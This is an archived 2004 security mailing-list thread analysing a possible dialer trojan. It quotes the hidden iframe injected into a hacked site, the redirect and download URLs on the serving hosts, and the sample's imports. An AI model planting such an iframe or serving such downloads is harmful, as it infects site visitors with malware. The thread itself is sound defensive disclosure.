lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
From: aditya.deshmukh at online.gateway.technolabs.net (Aditya, ALD [Aditya Lalit Deshmukh]) Subject: Possible dialer on 62.4.84.150 KERNEL32.DLL 0000 LoadLibraryA 0000 GetProcAddress 0000 ExitProcess advapi32.dll 0000 RegCloseKey oleaut32.dll 0000 SysFreeString shell32.dll 0000 ShellExecuteA user32.dll 0000 SetTimer all these exports show point in a direction that it creates a key in the registry for autoloading on reboot and executes a executable, possibly this is a downloader that downloads someother program from somewhere which i have not been able to find yet! -aditya -----Original Message----- From: full-disclosure-admin@...ts.netsys.com [mailto:full-disclosure-admin@...ts.netsys.com]On Behalf Of Daniel Bartlett Sent: Wednesday, August 18, 2004 12:17 AM To: Full Disclosure Subject: [Full-Disclosure] Possible dialer on 62.4.84.150 Hi All, I've only looked at this for about 3 mins, so there isn't a lot to tell. >From a website that looks like someone has hacked it and added a IFRAME to the top of the page: <iframe FRAMEBORDER="0" width="0" height="0" src="http://213.158.119.103/iframe.php?xid=111"></iframe> >From this frame it gets bounced onto: http://62.4.84.150/data/start.php?id=111-b&aid=0 then onto: http://62.4.84.150/data/start.php?id=111-download&aid=0 which then downloads a 17984b exe file. I've attached a strings output from the exe, and a copy of the exe(password for zip is lamedial). I hope someone else can shead more light on this than I can. Cheers, Daniel B. -- Daniel Bartlett danbuk_fd@...pmail.net ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)
Powered by blists - more mailing lists